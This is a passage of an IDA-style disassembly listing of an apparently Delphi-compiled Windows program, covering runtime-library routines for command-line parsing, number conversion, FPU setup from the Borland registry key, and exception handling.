		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_4029C6
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_4029C6
; ---------------------------------------------------------------------------


loc_4029B2:				; CODE XREF: sub_402920+50j
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [edi]
		sub	eax, [esi]
		add	ebp, eax
		mov	eax, [edi]
		mov	[esi], eax


loc_4029C6:				; CODE XREF: sub_402920+49j
					; sub_402920+84j ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	20h
		ja	short loc_40296B
		mov	eax, [esp+28h+var_24]
		mov	edx, ebp
		call	sub_403734
		mov	eax, [esp+28h+var_1C]
		mov	[esi], eax
		mov	eax, [esp+28h+var_24]
		mov	eax, [eax]
		mov	[esp+28h+var_18], eax
		xor	ebp, ebp
		jmp	short loc_402A67
; ---------------------------------------------------------------------------


loc_4029EC:				; CODE XREF: sub_402920+14Cj
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_402A43
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_402A23
; ---------------------------------------------------------------------------


loc_4029FF:				; CODE XREF: sub_402920+10Ej
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jnb	short loc_402A23


loc_402A0F:				; CODE XREF: sub_402920+101j
		mov	eax, [esi]
		mov	al, [eax]
		mov	edx, [esp+28h+var_18]
		mov	[edx+ebp], al
		inc	dword ptr [esi]
		inc	ebp
		mov	eax, [esi]
		cmp	eax, [edi]
		jb	short loc_402A0F


loc_402A23:				; CODE XREF: sub_402920+DDj
					; sub_402920+EDj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_402A30
		cmp	bl, 22h
		jnz	short loc_4029FF


loc_402A30:				; CODE XREF: sub_402920+109j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_402A67
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_402A67
; ---------------------------------------------------------------------------


loc_402A43:				; CODE XREF: sub_402920+D1j
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jnb	short loc_402A67


loc_402A53:				; CODE XREF: sub_402920+145j
		mov	eax, [esi]
		mov	al, [eax]
		mov	edx, [esp+28h+var_18]
		mov	[edx+ebp], al
		inc	dword ptr [esi]
		inc	ebp
		mov	eax, [esi]
		cmp	eax, [edi]
		jb	short loc_402A53


loc_402A67:				; CODE XREF: sub_402920+CAj
					; sub_402920+115j ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	20h
		ja	loc_4029EC
		mov	eax, [esi]
		mov	[esp+28h+var_20], eax
		mov	eax, [esp+28h+var_20]
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402920	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A84	proc near		; CODE XREF: CODE:00404E6Cp

var_114		= dword	ptr -114h
var_110		= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_403518
		test	esi, esi
		jnz	short loc_402ABB
		push	105h
		lea	eax, [esp+118h+var_110]
		push	eax
		push	0
		call	sub_401058	; GetModuleFileNameA
		mov	ecx, eax
		lea	edx, [esp+114h+var_110]
		mov	eax, ebx
		call	sub_4035DC
		jmp	short loc_402ADC
; ---------------------------------------------------------------------------


loc_402ABB:				; CODE XREF: sub_402A84+15j
		call	sub_401048	; GetCommandLineA
		mov	[esp+114h+var_114], eax


loc_402AC3:				; CODE XREF: sub_402A84+56j
		mov	edx, ebx
		mov	eax, [esp+114h+var_114]
		call	sub_402920
		mov	[esp+114h+var_114], eax
		test	esi, esi
		jz	short loc_402ADC
		cmp	dword ptr [ebx], 0
		jz	short loc_402ADC
		dec	esi
		jmp	short loc_402AC3
; ---------------------------------------------------------------------------


loc_402ADC:				; CODE XREF: sub_402A84+35j
					; sub_402A84+4Ej ...
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_402A84	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402AE8	proc near		; CODE XREF: sub_4042A4+81p

var_8		= qword	ptr -8

		sub	esp, 8
		fistp	[esp+8+var_8]
		wait
		pop	eax
		pop	edx
		retn
sub_402AE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402AF4	proc near		; CODE XREF: sub_403A90+1Ep
					; sub_403A90+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_402B33
		cmp	ax, 0D7B3h
		ja	short loc_402B33
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_402B1B
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_402B1B:				; CODE XREF: sub_402AF4+1Ej
		test	esi, esi
		jnz	short loc_402B26
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_402B26:				; CODE XREF: sub_402AF4+29j
		test	esi, esi
		jz	short loc_402B45
		mov	eax, esi
		call	sub_4028D0
		jmp	short loc_402B45
; ---------------------------------------------------------------------------


loc_402B33:				; CODE XREF: sub_402AF4+Ej
					; sub_402AF4+14j
		cmp	ebx, offset dword_407038
		jz	short loc_402B45
		mov	eax, 67h
		call	sub_4028D0


loc_402B45:				; CODE XREF: sub_402AF4+34j
					; sub_402AF4+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_402AF4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B4C	proc near		; CODE XREF: sub_403E54+43p
					; sub_403E54+53p
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_402B69
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_402B69:				; CODE XREF: sub_402B4C+12j
		pop	edi
		retn
sub_402B4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B6C	proc near		; CODE XREF: CODE:00404629p
					; CODE:00404639p ...
		push	ebx
		xor	ebx, ebx
		imul	edx, ds:dword_406008[ebx], 8088405h
		inc	edx
		mov	ds:dword_406008[ebx], edx
		mul	edx
		mov	eax, edx
		pop	ebx
		retn
sub_402B6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B88	proc near		; CODE XREF: sub_403A1C+41p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_402BFE
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_402B9B:				; CODE XREF: sub_402B88+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_402B9B
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_402C0C
		cmp	bl, 2Bh
		jz	short loc_402C0E


loc_402BAF:				; CODE XREF: sub_402B88+89j
		cmp	bl, 24h
		jz	short loc_402C13
		cmp	bl, 78h
		jz	short loc_402C13
		cmp	bl, 58h
		jz	short loc_402C13
		cmp	bl, 30h
		jnz	short loc_402BD6
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_402C13
		cmp	bl, 58h
		jz	short loc_402C13
		test	bl, bl
		jz	short loc_402BF4
		jmp	short loc_402BDA
; ---------------------------------------------------------------------------


loc_402BD6:				; CODE XREF: sub_402B88+39j
		test	bl, bl
		jz	short loc_402C07


loc_402BDA:				; CODE XREF: sub_402B88+4Cj
					; sub_402B88+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_402C07
		cmp	eax, edi
		ja	short loc_402C07
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_402BDA


loc_402BF4:				; CODE XREF: sub_402B88+4Aj
		dec	ch
		jz	short loc_402C01
		test	eax, eax
		jge	short loc_402C50
		jmp	short loc_402C07
; ---------------------------------------------------------------------------


loc_402BFE:				; CODE XREF: sub_402B88+8j
					; sub_402B88+95j
		inc	esi
		jmp	short loc_402C07
; ---------------------------------------------------------------------------


loc_402C01:				; CODE XREF: sub_402B88+6Ej
		neg	eax
		jle	short loc_402C50
		js	short loc_402C50


loc_402C07:				; CODE XREF: sub_402B88+50j
					; sub_402B88+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_402C53
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_402B88+20j
		inc	ch


loc_402C0E:				; CODE XREF: sub_402B88+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_402BAF
; ---------------------------------------------------------------------------


loc_402C13:				; CODE XREF: sub_402B88+2Aj
					; sub_402B88+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_402BFE


loc_402C1F:				; CODE XREF: sub_402B88+C0j
		cmp	bl, 61h
		jb	short loc_402C27
		sub	bl, 20h


loc_402C27:				; CODE XREF: sub_402B88+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_402C3A
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_402C07
		add	bl, 0Ah


loc_402C3A:				; CODE XREF: sub_402B88+A5j
		cmp	eax, edi
		ja	short loc_402C07
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_402C1F
		dec	ch
		jnz	short loc_402C50
		neg	eax


loc_402C50:				; CODE XREF: sub_402B88+72j
					; sub_402B88+7Bj ...
		pop	ecx
		xor	esi, esi


loc_402C53:				; CODE XREF: sub_402B88+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402B88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402C5C	proc near		; CODE XREF: sub_402C64+5p
					; sub_402C64+11p
		jmp	ds:dword_408100
sub_402C5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402C64	proc near		; CODE XREF: sub_403AE4+39p
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_402C5C	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_402C8F
		push	1
		call	sub_402C5C	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_402C8D
		cmp	eax, 400h
		jnz	short loc_402C8F


loc_402C8D:				; CODE XREF: sub_402C64+20j
		mov	bl, 1


loc_402C8F:				; CODE XREF: sub_402C64+Dj
					; sub_402C64+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_402C64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C94	proc near		; CODE XREF: sub_403AE4+42p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_406010
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_401080	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_402D0C
		xor	eax, eax
		push	ebp
		push	offset loc_402D05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401088	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402D0C


loc_402CFB:				; CODE XREF: sub_402C94+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401078	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_402D05:				; DATA XREF: sub_402C94+2Eo
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_402CFB
; ---------------------------------------------------------------------------


loc_402D0C:				; CODE XREF: sub_402C94+29j
					; DATA XREF: sub_402C94+62o
		mov	ax, ds:word_406010
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_406010,	ax
		mov	esp, ebp
		pop	ebp
		retn
sub_402C94	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_402C94+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_402C94+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402D58	proc near		; CODE XREF: sub_4031E8-368p
					; CODE:0040312Ep ...
		fninit
		wait
		fldcw	ds:word_406010
		retn
sub_402D58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402D64	proc near		; CODE XREF: CODE:00402F7Fj
					; sub_402FC4+30p ...
		test	eax, eax
		jz	short locret_402D6F
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_402D6F:				; CODE XREF: sub_402D64+2j
		retn
sub_402D64	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D70	proc near		; CODE XREF: sub_402FC4+35p
		cmp	ds:byte_406014,	1
		jbe	short locret_402D8A
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_407010

locret_402D8A:				; CODE XREF: sub_402D70+7j
		retn
sub_402D70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402D8C	proc near		; CODE XREF: sub_4031E8-33Bp
		cmp	ds:byte_406014,	0
		jz	short locret_402DAC
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_407010
		add	esp, 8
		pop	eax

locret_402DAC:				; CODE XREF: sub_402D8C+7j
		retn
sub_402D8C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_402DC8


loc_402DB0:				; CODE XREF: sub_402DC8+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_407010
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_402DC8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402DC8	proc near		; CODE XREF: sub_4031E8-28Bp

; FUNCTION CHUNK AT 00402DB0 SIZE 00000015 BYTES

		cmp	ds:byte_406014,	1
		jbe	short locret_402DD8
		push	eax
		push	ebx
		jmp	loc_402DB0
; ---------------------------------------------------------------------------

locret_402DD8:				; CODE XREF: sub_402DC8+7j
		retn
sub_402DC8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402DDC	proc near		; CODE XREF: sub_402DFC+Cp
		test	ecx, ecx
		jz	short locret_402DF9
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_402DF4
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_402DF9
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_402DF7
; ---------------------------------------------------------------------------


loc_402DF4:				; CODE XREF: sub_402DDC+Aj
		add	ecx, 5


loc_402DF7:				; CODE XREF: sub_402DDC+16j
		add	ecx, eax

locret_402DF9:				; CODE XREF: sub_402DDC+2j
					; sub_402DDC+Fj
		retn
sub_402DDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402DFC	proc near		; CODE XREF: sub_40191C+1695p
		cmp	ds:byte_406014,	1
		jbe	short locret_402E22
		push	eax
		push	edx
		push	ecx
		call	sub_402DDC
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_407010
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_402E22:				; CODE XREF: sub_402DFC+7j
		retn
sub_402DFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402E24	proc near		; CODE XREF: sub_403018+28p
		cmp	ds:byte_406014,	1
		jbe	short locret_402E3F
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_407010
		pop	edx

locret_402E3F:				; CODE XREF: sub_402E24+7j
		retn
sub_402E24	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E40	proc near		; CODE XREF: CODE:loc_403175p
		push	eax
		push	edx
		cmp	ds:byte_406014,	1
		jbe	short loc_402E5B
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_407010


loc_402E5B:				; CODE XREF: sub_402E40+9j
		pop	edx
		pop	eax
		retn
sub_402E40	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_4031E8


loc_402E60:				; CODE XREF: sub_4031E8:loc_40323Dj
					; sub_403258:loc_4032ADj ...
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_402F84
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_402EED
		cld
		call	sub_402D58
		mov	edx, ds:dword_40700C
		test	edx, edx
		jz	loc_402F84
		call	edx ; dword_40700C
		test	eax, eax
		jz	loc_402F84
		mov	edx, [esp-4+arg_8]
		mov	ecx, [esp-4+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_402EE4
		call	sub_402D8C
		cmp	ds:byte_406018,	0
		jbe	short loc_402EE4
		cmp	ds:byte_406014,	0
		ja	short loc_402EE4
		lea	ecx, [esp-4+arg_0]
		push	eax
		push	ecx
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_402F84
		mov	edx, eax
		mov	eax, [esp+4]
		mov	ecx, [eax+0Ch]
		jmp	short loc_402F14
; ---------------------------------------------------------------------------


loc_402EE4:				; CODE XREF: sub_4031E8-33Dj
					; sub_4031E8-32Fj ...
		mov	edx, eax
		mov	eax, [esp-4+arg_0]
		mov	ecx, [eax+0Ch]


loc_402EED:				; CODE XREF: sub_4031E8-36Bj
		cmp	ds:byte_406018,	1
		jbe	short loc_402F14
		cmp	ds:byte_406014,	0
		ja	short loc_402F14
		push	eax
		lea	eax, [esp+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_402F84


loc_402F14:				; CODE XREF: sub_4031E8-306j
					; sub_4031E8-2F4j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_0]
		push	0
		push	eax
		push	offset loc_402F38
		push	edx
		call	ds:off_407014


loc_402F38:				; DATA XREF: sub_4031E8-2BCo
		mov	edi, [esp+30h+var_8]
		call	sub_403C48
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset sub_402F64
		add	ebx, 5
		call	sub_402DC8
		jmp	ebx
; END OF FUNCTION CHUNK	FOR sub_4031E8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402F64	proc near		; DATA XREF: sub_4031E8-295o
		jmp	loc_402F8C
sub_402F64	endp

; ---------------------------------------------------------------------------
		call	sub_403C48
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_402D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4031E8


loc_402F84:				; CODE XREF: sub_4031E8-37Dj
					; sub_4031E8-35Bj ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_4031E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_40191C


loc_402F8C:				; CODE XREF: sub_40191C:loc_4019E4j
					; sub_4019F4:loc_401AE8j ...
		mov	eax, [esp+4]
		mov	edx, [esp+8]
		test	dword ptr [eax+4], 6
		jz	short loc_402FBC
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_402FBC
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_402DFC
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_402FBC:				; CODE XREF: sub_40191C+167Fj
					; DATA XREF: sub_40191C+1684o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_40191C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402FC4	proc near		; CODE XREF: sub_4031E8+5Fp
					; sub_403258+5Fp

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_40300F
		call	sub_403C48
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_402FFE
		mov	eax, [edx+8]
		call	sub_402D64
		call	sub_402D70


loc_402FFE:				; CODE XREF: sub_402FC4+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_40300F:				; DATA XREF: sub_402FC4+4o
		mov	eax, 1
		retn
sub_402FC4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403018	proc near		; CODE XREF: sub_4031E8+64p
					; sub_403258+64p ...

arg_2C		= dword	ptr  30h

		call	sub_403C48
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_402D64
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_402E24
		jmp	edx
sub_403018	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403048	proc near		; CODE XREF: sub_402178+10Cp
					; sub_402178+16Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_403048	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_403060:				; CODE XREF: CODE:00403160j
					; CODE:0040316Cj
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_40309B
		jz	short loc_4030CD
		cmp	eax, 0C000008Eh
		jg	short loc_40308D
		jz	short loc_4030D1
		sub	eax, 0C0000005h
		jz	short loc_4030DD
		sub	eax, 87h
		jz	short loc_4030C5
		dec	eax
		jz	short loc_4030D9
		jmp	short loc_4030ED
; ---------------------------------------------------------------------------


loc_40308D:				; CODE XREF: CODE:00403076j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_4030CD
		jz	short loc_4030C9
		jmp	short loc_4030ED
; ---------------------------------------------------------------------------


loc_40309B:				; CODE XREF: CODE:0040306Dj
		cmp	eax, 0C0000096h
		jg	short loc_4030B3
		jz	short loc_4030E1
		sub	eax, 0C0000093h
		jz	short loc_4030D9
		dec	eax
		jz	short loc_4030C1
		dec	eax
		jz	short loc_4030D5
		jmp	short loc_4030ED
; ---------------------------------------------------------------------------


loc_4030B3:				; CODE XREF: CODE:004030A0j
		sub	eax, 0C00000FDh
		jz	short loc_4030E9
		sub	eax, 3Dh
		jz	short loc_4030E5
		jmp	short loc_4030ED
; ---------------------------------------------------------------------------


loc_4030C1:				; CODE XREF: CODE:004030ACj
		mov	al, 0C8h
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030C5:				; CODE XREF: CODE:00403086j
		mov	al, 0C9h
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030C9:				; CODE XREF: CODE:00403097j
		mov	al, 0CDh
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030CD:				; CODE XREF: CODE:0040306Fj
					; CODE:00403095j
		mov	al, 0CFh
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030D1:				; CODE XREF: CODE:00403078j
		mov	al, 0C8h
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030D5:				; CODE XREF: CODE:004030AFj
		mov	al, 0D7h
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030D9:				; CODE XREF: CODE:00403089j
					; CODE:004030A9j
		mov	al, 0CEh
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030DD:				; CODE XREF: CODE:0040307Fj
		mov	al, 0D8h
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030E1:				; CODE XREF: CODE:004030A2j
		mov	al, 0DAh
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030E5:				; CODE XREF: CODE:004030BDj
		mov	al, 0D9h
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030E9:				; CODE XREF: CODE:004030B8j
		mov	al, 0CAh
		jmp	short loc_4030EF
; ---------------------------------------------------------------------------


loc_4030ED:				; CODE XREF: CODE:0040308Bj
					; CODE:00403099j ...
		mov	al, 0FFh


loc_4030EF:				; CODE XREF: CODE:004030C3j
					; CODE:004030C7j ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_40286C
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_403100:				; DATA XREF: sub_4031A0+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_40319A
		cmp	ds:byte_406014,	0
		ja	short loc_403129
		lea	eax, [esp+4]
		push	eax
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_40319A


loc_403129:				; CODE XREF: CODE:00403118j
		mov	eax, [esp+4]
		cld
		call	sub_402D58
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_403146
		push	edx
		call	ds:off_407014


loc_403146:				; DATA XREF: CODE:0040313Ao
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_403175
		mov	edx, ds:dword_40700C
		test	edx, edx
		jz	loc_403060
		mov	eax, ebx
		call	edx ; dword_40700C
		test	eax, eax
		jz	loc_403060
		mov	edx, [ebx+0Ch]


loc_403175:				; CODE XREF: CODE:00403156j
		call	sub_402E40
		mov	ecx, ds:dword_407004
		test	ecx, ecx
		jz	short loc_403186
		call	ecx ; dword_407004


loc_403186:				; CODE XREF: CODE:00403182j
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_40350C
; ---------------------------------------------------------------------------


loc_40319A:				; CODE XREF: CODE:0040310Bj
					; CODE:00403127j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4031A0	proc near		; CODE XREF: sub_4032C8+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_403100
		mov	[eax+8], ebp
		mov	ds:dword_407624, eax
		retn
sub_4031A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4031C0	proc near		; CODE XREF: sub_403420:loc_4034B0p
		xor	edx, edx
		mov	eax, ds:dword_407624
		test	eax, eax
		jz	short locret_4031E7
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_4031DA
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_4031D8:				; CODE XREF: sub_4031C0+21j
		mov	ecx, [ecx]


loc_4031DA:				; CODE XREF: sub_4031C0+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_4031E7
		cmp	[ecx], eax
		jnz	short loc_4031D8
		mov	eax, [eax]
		mov	[ecx], eax

locret_4031E7:				; CODE XREF: sub_4031C0+9j
					; sub_4031C0+1Dj
		retn
sub_4031C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031E8	proc near		; CODE XREF: sub_4031E8+5Ap
					; sub_403258+5Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00402E60 SIZE 00000104 BYTES
